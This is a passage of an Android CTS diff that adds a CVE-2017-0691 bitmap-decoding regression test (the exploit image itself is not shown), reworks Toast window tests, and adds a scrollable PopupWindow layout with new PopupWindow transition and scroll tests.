- libpowermanager \
- libbase \
- libunwind \
- libhardware \
- libsync \
- libcamera_metadata \
- libspeexresampler \
- liblzma \
- libstagefright_foundation
+
LOCAL_C_INCLUDES += ndk/sources/cpufeatures
LOCAL_STATIC_LIBRARIES := cpufeatures
diff --git a/tests/tests/security/res/raw/cve_2017_0691.bmp b/tests/tests/security/res/raw/cve_2017_0691.bmp
new file mode 100644
index 0000000..d3f7c6d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0691.bmp
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index ce236be..8c5050c 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -40,6 +40,13 @@
}
+ @SecurityTest
+ public void testPocCVE_2017_0691() throws Exception {
+ InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+ R.raw.cve_2017_0691));
+ BitmapFactory.decodeStream(exploitImage);
+ }
+
public void test_b65290323() throws Exception {
InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
R.raw.b65290323));
diff --git a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
index 207e6ea..c2ecb3a 100644
--- a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
+++ b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
@@ -108,7 +108,10 @@
}
@Test
- public void testAddTwoToastsViaAddingWindowApisWhenUidFocusedQuickly() throws Exception {
+ public void testAddTwoToastsViaAddingWindowApisWhenUidNotFocusedQuickly() throws Exception {
+ // Finish the activity so the UID loses focus
+ finishActivity(false);
+
try {
showToastsViaAddingWindow(2, false);
Assert.fail("Only one custom toast window at a time should be allowed");
@@ -120,6 +123,14 @@
}
@Test
+ public void testAddTwoToastsViaAddingWindowApisWhenUidFocusedQuickly() throws Exception {
+ showToastsViaAddingWindow(2, false);
+
+ // Wait for the toast to timeout
+ waitForToastTimeout();
+ }
+
+ @Test
public void testAddTwoToastsViaAddingWindowApisWhenUidFocusedSlowly() throws Exception {
// Add one window
showToastsViaAddingWindow(1, true);
diff --git a/tests/tests/widget/res/layout/popup_window_scrollable.xml b/tests/tests/widget/res/layout/popup_window_scrollable.xml
new file mode 100644
index 0000000..aa1edd6
--- /dev/null
+++ b/tests/tests/widget/res/layout/popup_window_scrollable.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<ScrollView
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <RelativeLayout
+ android:id="@+id/main_container"
+ android:layout_width="10000dp"
+ android:layout_height="10000dp">
+
+ <View
+ android:id="@+id/anchor_upper_left"
+ android:layout_width="10dp"
+ android:layout_height="10dp"
+ android:layout_alignParentLeft="true"
+ android:layout_alignParentTop="true"
+ android:background="#f00" />
+
+ <View
+ android:id="@+id/anchor_upper"
+ android:layout_width="10dp"
+ android:layout_height="10dp"
+ android:layout_centerHorizontal="true"
+ android:layout_alignParentTop="true"
+ android:background="#f00" />
+
+ <View
+ android:id="@+id/anchor_upper_right"
+ android:layout_width="10dp"
+ android:layout_height="10dp"
+ android:layout_alignParentRight="true"
+ android:layout_alignParentTop="true"
+ android:background="#f00" />
+
+ <View
+ android:id="@+id/anchor_middle_left"
+ android:layout_width="10dp"
+ android:layout_height="10dp"
+ android:layout_alignParentLeft="true"
+ android:layout_centerVertical="true"
+ android:background="#0f0" />
+
+ <View
+ android:id="@+id/anchor_middle"
+ android:layout_width="10dp"
+ android:layout_height="10dp"
+ android:layout_centerHorizontal="true"
+ android:layout_centerVertical="true"
+ android:background="#0f0" />
+
+ <View
+ android:id="@+id/anchor_middle_right"
+ android:layout_width="10dp"
+ android:layout_height="10dp"
+ android:layout_alignParentRight="true"
+ android:layout_centerVertical="true"
+ android:background="#0f0" />
+
+ <View
+ android:id="@+id/anchor_lower_left"
+ android:layout_width="10dp"
+ android:layout_height="10dp"
+ android:layout_alignParentLeft="true"
+ android:layout_alignParentBottom="true"
+ android:background="#00f" />
+
+ <View
+ android:id="@+id/anchor_lower"
+ android:layout_width="10dp"
+ android:layout_height="10dp"
+ android:layout_centerHorizontal="true"
+ android:layout_alignParentBottom="true"
+ android:background="#00f" />
+
+ <View
+ android:id="@+id/anchor_lower_right"
+ android:layout_width="10dp"
+ android:layout_height="10dp"
+ android:layout_alignParentRight="true"
+ android:layout_alignParentBottom="true"
+ android:background="#00f" />
+
+ </RelativeLayout>
+
+</ScrollView>
\ No newline at end of file
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index 47efffc..918a161 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -16,6 +16,14 @@
package android.widget.cts;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
import android.app.Activity;
import android.app.Instrumentation;
import android.content.Context;
@@ -44,13 +52,6 @@
import android.widget.TextView;
import android.widget.cts.R;
-import static org.mockito.Mockito.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
public class PopupWindowTest extends
ActivityInstrumentationTestCase2<PopupWindowCtsActivity> {
private Instrumentation mInstrumentation;
@@ -772,7 +773,19 @@
WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM & p.flags);
}
- public void testEnterExitTransition() {
+ public void testEnterExitTransitionAsDropDown() throws Throwable {
+ final View anchorView = mActivity.findViewById(R.id.anchor_upper);
+ verifyEnterExitTransition(
+ () -> mPopupWindow.showAsDropDown(anchorView, 0, 0));
+ }
+
+ public void testEnterExitTransitionAtLocation() throws Throwable {
+ final View anchorView = mActivity.findViewById(R.id.anchor_upper);
+ verifyEnterExitTransition(
+ () -> mPopupWindow.showAtLocation(anchorView, Gravity.BOTTOM, 0, 0));
+ }
+
+ private void verifyEnterExitTransition(Runnable showRunnable) throws Throwable {
TransitionListener enterListener = mock(TransitionListener.class);
Transition enterTransition = new BaseTransition();
enterTransition.addListener(enterListener);
@@ -791,8 +804,7 @@
verify(exitListener, never()).onTransitionStart(any(Transition.class));
verify(dismissListener, never()).onDismiss();
- final View anchorView = mActivity.findViewById(R.id.anchor_upper);
- mInstrumentation.runOnMainSync(() -> mPopupWindow.showAsDropDown(anchorView, 0, 0));
+ mInstrumentation.runOnMainSync(showRunnable);
mInstrumentation.waitForIdleSync();
verify(enterListener, times(1)).onTransitionStart(any(Transition.class));
verify(exitListener, never()).onTransitionStart(any(Transition.class));
@@ -1069,6 +1081,30 @@
assertEquals(LayoutParams.MATCH_PARENT, p.height);
}
+ public void testPositionAfterParentScroll() {
+ View.OnScrollChangeListener scrollChangeListener = mock(
+ View.OnScrollChangeListener.class);
+
+ getInstrumentation().runOnMainSync(() -> {
+ mActivity.setContentView(R.layout.popup_window_scrollable);
+
+ View anchor = mActivity.findViewById(R.id.anchor_upper);
+ PopupWindow window = createPopupWindow();
+ window.showAsDropDown(anchor);
+ });
+
+ getInstrumentation().runOnMainSync(() -> {
+ View parent = mActivity.findViewById(R.id.main_container);
+ parent.scrollBy(0, 500);
+ parent.setOnScrollChangeListener(scrollChangeListener);
+ });
+
+ getInstrumentation().waitForIdleSync();
+
+ verify(scrollChangeListener, never()).onScrollChange(
+ any(View.class), anyInt(), anyInt(), anyInt(), anyInt());
+ }
+
private static class BaseTransition extends Transition {
@Override
public void captureStartValues(TransitionValues transitionValues) {}